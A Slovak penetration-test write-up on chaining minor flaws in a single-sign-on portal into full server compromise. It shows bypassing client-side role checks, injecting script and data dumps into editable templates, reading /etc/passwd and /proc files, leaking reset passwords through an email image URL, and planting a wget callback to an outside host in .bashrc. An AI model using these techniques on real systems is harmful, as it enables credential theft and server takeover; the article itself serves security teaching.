Hacking webové aplikace v praxi

Kompromitácia webového serveru prebieha veľmi zriedka využitím iba jednej kritickej zraniteľnosti, ako tomu býva napr. v Hollywoodskych filmoch. Naopak, často k tejto kompromitácii dôjde zreťazením rady menej závažných, niekedy až absurdných, zraniteľností. V tomto článku popíšeme scenár z praxe, v ktorom práve zreťazenie viacerých zraniteľností viedlo k úplnej kompromitácii webového serveru.

Behom penetračných testov webových aplikácií je možné využiť radu automatizovaných nástrojov. Tieto nástroje sú schopné nájsť základne chyby v aplikácii, no pri komplexnejších aplikáciách prípadne chybách, na ktorých zneužitie je treba detailnejšie pochopenie princípu fungovania aplikácie, nie sú automatizované nástroje účinné. Tento článok bude o kompromitácii webového serveru, ku ktorej viedla rada menších zraniteľností.

Testovanou stránkou je prihlasovacia brána, ktorá sa stará o autentizáciu užívateľov v rámci viacerých aplikácii. Po prihlásení sa zobrazí jednoduché užívateľské rozhranie a zoznam s odkazmi do aplikácii, ktoré boli danému užívateľovi priradené.

main_page.png
Náhľad na aplikáciu

V rámci aplikácie nie je moc vstupných polí ani formulárov, ktoré by sa dali testovať na klasické zraniteľnosti ako je napr. XSS alebo SQL injection. Jednou z ďalších chýb pri webových aplikáciách je aj prítomnosť stránok a funkcionalít na ktoré sa bežný užívateľ nemôže preklikať skrz aplikáciu. Z tohto dôvodu je výhodné mať slovník obsahujúci typické a často používané názvy podstránok, ako napr. admin, dev, logs a pod. Slová z tohto slovníka potom môžeme skúšať vkladať napr. do URL adresy. Po enumerovaní URL adries týmto spôsobom získame jednu zaujímavú URL - /settings.

settings_page_without_priv.png
Skrytá funkcionalita

Po zobrazení tejto stránky toho moc nevidíme, žiadne funkcionality ani citlivé údaje a zdá sa že nám to k ničomu nebude. Ak ale túto stránku trochu detailnejšie zanalyzujeme, zistíme, že síce sa nám nezobrazila žiadne funkcionalita, stránka sa generuje pomocou obrovského JavaScript kódu, ktorý sa stiahol pri prístupe na túto stránku. Taktiež jedna z odpovedí zo servera obsahuje informácie o prihlásenom užívateľovi spolu s niečím čo vyzerá ako privilégia:

...,"authorities":["ROLE_CAN_CHANGE_PASSWD","ROLE_CAN_SEE_PROFILE"],...

Po rýchlom hľadaní v stiahnutom JS kóde je možné nájsť nasledujúce podozrivé kúsky kódu:

var hasRoleAdminConf = $idpLoggedUser.authorities.indexOf("ROLE_IDP_ADMIN_CONFIG") >= 0;
			var hasRoleAdminUsers = $idpLoggedUser.authorities.indexOf("ROLE_IDP_ADMIN_USERS") >= 0;
			var hasRoleAdminForGroup = hasRoleAdminUsers || $idpLoggedUser.authorities.indexOf("ROLE_IDP_ADMIN_USERS_IN_GROUP") >= 0;

Pretože JS kód tieto privilégia overuje na strane klienta, ľahko si ich môžeme pridať, napr. úpravou prijímaných odpovedí zo servera pomocou nejakej web proxy. Upravíme teda pôvodné privilégia na nasledujúce:

"authorities":["ROLE_CAN_CHANGE_PASSWD","ROLE_CAN_SEE_PROFILE", "ROLE_IDP_ADMIN_CONFIG","ROLE_IDP_ADMIN_USERS","ROLE_IDP_ADMIN_USERS_IN_GROUP"]

Po načítaní stránky /settings s novými oprávneniami sa nám zobrazia skryté funkcionality.

settings_page_with_priv.png
Skrytá funkcionalita s pridanými privilégiami

Veľká časť z týchto funkcionalít prezrádza citlivé údaje ako sú rôzne kľúče a konfigurácie pridružených aplikácií apod. Niektoré funkcionality je možné rozbaliť, zistiť z nich už spomínané citlivé údaje, ale nie je možné meniť ich stav – pravdepodobne kvôli tomu, že sú tieto požiadavky zamietnuté na strane servera. Zameriame sa ale na jedinú funkcionalitu a tou je Templates/Visual. Táto funkcionalita slúži na zobrazenie a editáciu šablón a niektorých ďalších dokumentov zodpovedných za vzhľad aplikácie.

template_visuals.png
Zoznam súborov aplikácie, ktoré je možné editovať

Ak by sme boli schopný editovať tieto šablóny, môžeme editovať samotnú stránku a vkladať do nej čokoľvek sa nám hodí. Zvolíme si šablónu footer.hbs, po otvorení sa nám zobrazí editor šablóny.

template_editor_footer.png
Editácia šablóny footer.hbs

Vyzerá to, že možeme editovat priamo HTML kód. Pre otestovanie vyskúšame vložit JS kód do stránky. Výsledný kód footer.hbs vyzerá následovne:

template_editor_footer_modified.png
Kód šablóny footer.hbs po vložení JS kódu

Po uložení šablóny skúsime obnoviť stránku v prehliadači a okamžite po načítaní sa zobrazí okno s naším textom. Toto okno sa v tejto chvíli zobrazí každému užívateľovi, ktorý načíta túto stránku.

main_page_injected.png
Náhľad na aplikáciu po zmene šablóny

Okrem toho, že môžeme vykonávať JS kód v prehliadači každého užívateľa, sledovať čo robí, upravovať vzhľad stránky a pod., môžeme pomocou šablón do stránky vložiť údaje o užívateľovi, ktoré má k dispozícii template engine. Do šablóny vložíme nasledujúci kód, ktorý iteruje skrz objekt user a vypíše všetky jeho atribúty.

template_editor_footer_modified_2.png
Kód šablóny footer.hbs po vložení kódu pre výpis atribútov objektu user

Po načítaní stránky obsahujúcej túto šablónu sa v HTML komentári vypíšu konkrétne dáta.

<div class="footer"><span class="copy">&copy; 2019 Foo Bar, a.s.</span></div>
	<!--    
                Key: note Value = 
                Key: fullName Value = Foo Bar
                Key: active Value = true
                Key: language Value = 
                Key: login Value = [REDACTED]26
                Key: passwordTempExpire Value = 
                Key: password Value = $argon2i$v=19$m=65536,t=2,p=1$P6XpqnS[REDACTED]
                Key: blocked Value = false
                Key: phone Value = [REDACTED]
                Key: failedLogins Value = 0
                Key: idpUserSource Value = sk.annotation.identitym.data.entity.idp.IdpUserSource@6ecfb23
                Key: lastLogged Value = 2019-02-06 08:37:14.134143
                Key: printName Value = Foo Bar
                Key: acceptedProfile Value = 2019-02-05 13:02:45.981
                Key: passwordTempValue Value = 
                Key: id Value = 686989
                Key: email Value = [REDACTED]
                Key: lastMappingLog Value = 
             -->
</div>

Okrem prihlasovacieho mena sme sa dozvedeli veľa ďalších údajov a dokonca aj hash užívateľského hesla. Všetky tieto údaje by sme si ďalším krátkym kusom JS kódu mohli odoslať na náš server a týmto spôsobom zbierať o užívateľoch informácie.

Okrem útoku na užívateľov template engine dovoľuje načítavanie uvedených šablón. Pretože ale nekontroluje typ súboru ktorý načítava, je možné načítať aj súbor, ktorý šablóna nie je, napr. /etc/passwd.

template_editor_footer_lfi.png
Spôsob načítania systémového súboru pomocou template enginu

Po uložení šablóny a obnovení stránky sa nám v zdrojom kóde stránky objaví nasledujúci text, obsahujúci informácie o užívateľoch systému.

<div class="footer"><span class="copy">&copy; 2019 Foo Bar, a.s.</span></div>
	<!-- root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
saslauth:x:499:76:Saslauthd user:/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
zabbix:x:498:499:Zabbix Monitoring System:/var/lib/zabbix:/sbin/nologin
[REDACTED]:x:500:500::/home/[REDACTED]:/bin/bash
[REDACTED]:x:501:501::/home/[REDACTED]:/bin/bash
[REDACTED]:x:502:502::/home/[REDACTED]:/bin/bash
annotation:x:503:503::/home/annotation:/bin/bash
apache:x:48:48:Apache:/var/www:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
tomcat-idp:x:504:504::/opt/tomcat-idp:/dev/null
deployer:x:505:505::/home/deployer:/bin/bash
haproxy:x:188:188::/var/lib/haproxy:/sbin/nologin
nexposese:x:506:506::/home/nexposese:/bin/bash
 -->
</div>

Okrem úpravy šablón zobrazujúcich stránky pred a po prihlásení užívateľa, je možné upraviť aj šablóny, ktoré sa využívajú pri obnove hesla. Konkrétne môžeme upraviť šablónu emailu pre obnovenie hesla a pridať do tohoto emailu obrázok, ktorý smeruje na náš server a v URL obsahuje vygenerované heslo.

email_template_poison.png
Upravená šablóna emailu pre obnovenie hesla

Teraz nám stačí zistiť prihlasovacie meno obete a pomocou funkcionality obnova hesla zažiadať o nové heslo. Vygenerovaný email síce príde našej obeti ale v prípade, že jej emailový klient dovoľuje zobrazovanie obrázkov z externých domén, tak na náš server príde dotaz na “obrázok”, ktorý vo svojom názve ukrýva nové heslo.

V rámci testu sa nám takto podarilo získať až 10 unikátnych hesiel a to v malom časovom intervale rádovo pár hodín.

Okrem úpravy šablón a čítania súborov, ktoré šablónami nie sú, môžeme nakoniec skúsiť upraviť nejaké súbory a tím získať aj napr. možnosť vykonávať vzdialene príkazy. Ako prvé ale musíme získať ešte nejaké ďalšie informácie o cieľovom stroji. Jedna z možností je (keďže vieme, že sa jedná o UNIX-like systém) prečítať súbory /proc/self/cmdline a /proc/self/environ. Tieto súbory môžu obsahovať informácie, ktoré nám pomôžu v ďalšom smerovaní útoku.

Obsah súboru /proc/self/cmdline:

/usr/lib/jvm/jre-1.8u112/bin/java
-Djava.util.logging.config.file=/opt/tomcat-idp/tomcat-1/conf/logging.properties
-Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager
-Djdk.tls.ephemeralDHKeySize=2048
-Djava.protocol.handler.pkgs=org.apache.catalina.webresources
-Xmx512m
-Didp.url.login.oauth=/api-idp/oauth
-Dlog4j.configurationFile=file:///opt/tomcat-idp/log4j2.xml
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5001
-classpath /opt/tomcat-idp/tomcat-1/bin/bootstrap.jar:/opt/tomcat-idp/tomcat-1/bin/tomcat-juli.jar
-Dcatalina.base=/opt/tomcat-idp/tomcat-1
-Dcatalina.home=/opt/tomcat-idp/tomcat-1
-Djava.io.tmpdir=/opt/tomcat-idp/tomcat-1/temp
org.apache.catalina.startup.Bootstrap
start

Obsah súboru /proc/self/environ:

LC_PAPER=sk_SK.UTF-8
LC_ADDRESS=sk_SK.UTF-8
HOSTNAME=[REDACTED]
LC_MONETARY=sk_SK.UTF-8
TERM=xterm-256color
SHELL=/bin/bash
HISTSIZE=1000
LD_PRELOAD=/opt/glibc/lib/libc-2.14.so
LC_NUMERIC=sk_SK.UTF-8
USER=tomcat-idp
LS_COLORS=rs=0:di=38;5;27:...xspf=38;5;45:
LC_TELEPHONE=sk_SK.UTF-8
SUDO_USER=deployer
SUDO_UID=505
username=Annotation - Pavol [REDACTED]
USERNAME=root
MAIL=/var/spool/mail/deployer
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/lib/jvm/jre-1.8u112/bin
LC_IDENTIFICATION=sk_SK.UTF-8
PWD=/opt/tomcat-idp/tomcat-1
JAVA_HOME=/usr/lib/jvm/jre-1.8u112
LANG=en_US.UTF-8
LC_MEASUREMENT=sk_SK.UTF-8
CATALINA_OPTS=-Xmx512m -Didp.url.login.oauth=/api-idp/oauth  -Dlog4j.configurationFile=file:///opt/tomcat-idp/log4j2.xml -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5001
HOME=/opt/tomcat-idp
SUDO_COMMAND=/etc/init.d/tomcat-idp-1 start-wait
SHLVL=3
SERVERNAME=idp
LOGNAME=tomcat-idp
SUDO_GID=505
LC_TIME=sk_SK.UTF-8
STORAGEPATH=/storage
LC_NAME=sk_SK.UTF-8
_=/usr/lib/jvm/jre-1.8u112/bin/java

Z uvedených súborov vieme, že sa jedná o Tomcat server, pod akým užívateľom beží server a mimo ďalších informácii sme zistili cesty k niekoľkým kľúčovým adresárom. Pre získanie ešte viac informácií sme následne skúsili prečítať súbor s históriou príkazov.

Skrátený obsah súboru /opt/tomcat-idp/.bash_history:

cd /opt/tomcat-idp/work-idp/confs/
cat /opt/tomcat-idp/work-idp/confs/login-sso.keytab
cd
pwd
ls
ps aux | grep tomcat
cd tomcat-1/logs/
ls
vi identity-management.log
[REDACTED]

Mimo iné je možné čítať konfiguračné súbory Tomcatu alebo iné konfiguračné súbory. Všetky tieto informácie nám pomohli s pochopením rozloženia adresárovej štruktúry a pomohli v plánovaní ďalších akcií. Ako prvé nás napadlo zapísať súbor do koreňového adresára, ktorý by sme následne pomocou webového serveru spustili. Tato možnosť ale stroskotala na nedostatku práv pri zapisovaní. Nasledovali ďalšie pokus-omyl scenáre, ktoré sú veľa krát neoddeliteľnou súčasťou testovania. Nakoniec sa ukázalo, že jednoduché i keď nie úplne priame riešenie ležalo celý čas pred nami. Keďže z histórie príkazov užívateľa vieme, že administrátori sa pravidelne prihlasujú na tento účet, môžeme upraviť súbor .bashrc. Tento súbor obsahuje príkazy v jazyku BASH, ktoré sa vykonajú ihneď po prihlásení užívateľa.

Upravený obsah súboru /opt/tomcat-idp/.bashrc:

# .bashrc

# Source global definitions
if [ -f /etc/bashrc ]; then
	. /etc/bashrc
fi

# User specific aliases and functions
# PoC EVIL FUNCTION
wget -O /dev/null -q https://[REDACTED]/poc.bng

Táto úprava nerobí nič iné len, že pošle HTTP dotaz na náš server, čím sa dozvieme, že naša obeť skutočne vykonala tento príkaz. V prípade reálneho scenára by šlo nahradiť tento neškodný príkaz za stiahnutie malware, spustenie reverse shellu alebo vykonanie inej škodlivej akcie. Po chvíľke čakania nakoniec skutočne tento dotaz na náš server prišiel, čím by sme ako útočník boli úspešný.

Ako bolo možné vidieť, niekedy aj nevinne vyzerajúca stránka môže v sebe ukrývať radu zraniteľností. Samé o sebe tieto zraniteľnosti môžu byť síce závažné v prezradení citlivých informácií ale nepredstavujú také veľké riziko ako keď sú využité spoločne. Naviac treba podotknúť, že niekoľko krát v nami popísanom postupe bol nutný “ľudský faktor”. Automatizované nástroje sú schopné nájsť niektoré vymenované zraniteľnosti ale nedokážu pochopiť ich povahu a teda ani ich dopad, prípadne zneužitie v akejsi reťazi zraniteľností za cieľom kompromitácie stroja. Ako sme ukázali, práve ku kompromitácii serveru dôjsť môže, kedy následne útočník získa možnosť vykonávať ľubovoľné príkazy, využívať server pre škodlivé účely (napr. zdieľanie malwaru), môže skúsiť eskalovať svoje privilégia alebo začať útočiť na internú sieť.